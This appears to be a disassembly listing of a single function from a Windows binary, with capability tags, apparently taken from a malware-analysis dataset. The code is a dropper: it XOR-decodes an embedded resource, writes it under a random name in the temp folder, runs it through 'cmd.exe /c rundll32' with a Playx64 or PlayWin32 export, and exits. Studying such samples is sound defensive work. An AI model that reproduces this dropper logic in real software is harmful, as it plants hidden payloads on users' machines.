Function at 0x402b90
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
add esp, 0xfffffcb8
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x344], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x402bc5
mov al, 1
mov ecx, dword [esp + 0x344]
xor ecx, esp
call fcn.004033e4
sub esp, 0xfffffcb8
ret
call fcn.00401000
cmp eax, 5
je 0x402beb
cmp eax, 7
je 0x402beb
xor al, al
mov ecx, dword [esp + 0x344]
xor ecx, esp
call fcn.004033e4
sub esp, 0xfffffcb8
ret
call fcn.004031d0
cmp eax, 1
jne 0x402bd4
push edi
push 0x103
lea eax, [esp + 0x111]
push 0
push eax
mov byte [esp + 0x118], 0
call fcn.00406b00
add esp, 0xc
push 0x104
lea ecx, [esp + 0x110]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x103
lea edx, [esp + 0xd]
push 0
push edx
mov byte [esp + 0x14], 0
call fcn.00406b00
sub esp, 0xfffffff4
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 8]
lea ecx, [edi + 1]
lea ebx, [ebx]
mov al, byte [edi]
inc edi
or al, al
jne 0x402c60
push ebx
push esi
push ebp
sub edi, ecx
lea ebp, [edi + 8]
cmp edi, ebp
jge 0x402c9b
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
nop
call esi
xor edx, edx
mov ecx, 0x1a
push 1
div ecx
add dl, 0x61
mov byte [esp + edi + 0x18], dl
call ebx
inc edi
cmp edi, ebp
jl 0x402c80
lea eax, [esp + 0x14]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402ca0
mov cl, byte [0x4105d4]
mov edx, dword [str..dat]
mov dword [eax], edx
mov byte [eax + 4], cl
call fcn.00402ab0
push 0x4105d8
xor edx, edx
mov bl, al
test bl, bl
setne dl
sub edx, 0xffffff9b
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
push ebp
call fcn.00403aef
push ebp
mov esi, eax
push edi
push esi
call fcn.004090e0
sub esp, 0xfffffff0
xor ecx, ecx
or ebp, ebp
jle 0x402d25
mov al, byte [ecx + esi]
or al, al
je 0x402d20
cmp al, 0x24
je 0x402d20
xor al, 0x24
mov byte [ecx + esi], al
inc ecx
cmp ecx, ebp
jl 0x402d10
xor ecx, ecx
test ebp, ebp
jbe 0x402d53
jmp 0x402d30
cmp byte [ecx + esi], 0x41
lea edx, [ecx + esi]
jne 0x402d4e
xor edi, edi
jmp 0x402d40
cmp byte [edx + edi], 0x41
jne 0x402d4e
inc edi
cmp edi, 0x1e
jl 0x402d40
jmp 0x402d53
inc ecx
cmp ecx, ebp
jb 0x402d30
lea eax, [ebp - 1]
cmp ecx, eax
jae 0x402d96
lea edi, [esp + 0x118]
mov eax, edi
sub ecx, eax
lea edx, [ecx + esi]
mov cl, byte [edi]
mov byte [edx + edi], cl
inc edi
or cl, cl
jne 0x402d68
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x402db1
mov ecx, dword [esp + 0x354]
pop ebp
pop esi
pop ebx
pop edi
xor ecx, esp
xor al, al
call fcn.004033e4
sub esp, 0xfffffcb8
ret
push 0
lea ecx, [esp + 0x14]
push ecx
push ebp
push esi
push edi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x135
lea edx, [esp + 0x221]
push 0
push edx
mov byte [esp + 0x228], 0
call fcn.00406b00
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push str.cmd.exe__c_rundll32___s_
push ecx
call fcn.004033f3
lea esi, [esp + 0x234]
sub esp, 0xffffffe8
dec esi
or bl, bl
je 0x402e30
mov cl, byte [esi + 1]
inc esi
or cl, cl
jne 0x402e12
mov edx, dword [str.Playx64]
mov ecx, dword [0x4105fc]
mov dword [esi], edx
mov dword [esi + 4], ecx
jmp 0x402e54
mov cl, byte [esi + 1]
inc esi
test cl, cl
jne 0x402e30
mov ecx, dword [0x410604]
mov edx, dword [str.PlayWin32]
mov dword [esi], edx
mov dx, word [0x410608]
mov dword [esi + 4], ecx
mov word [esi + 8], dx
push 0
lea eax, [esp + 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]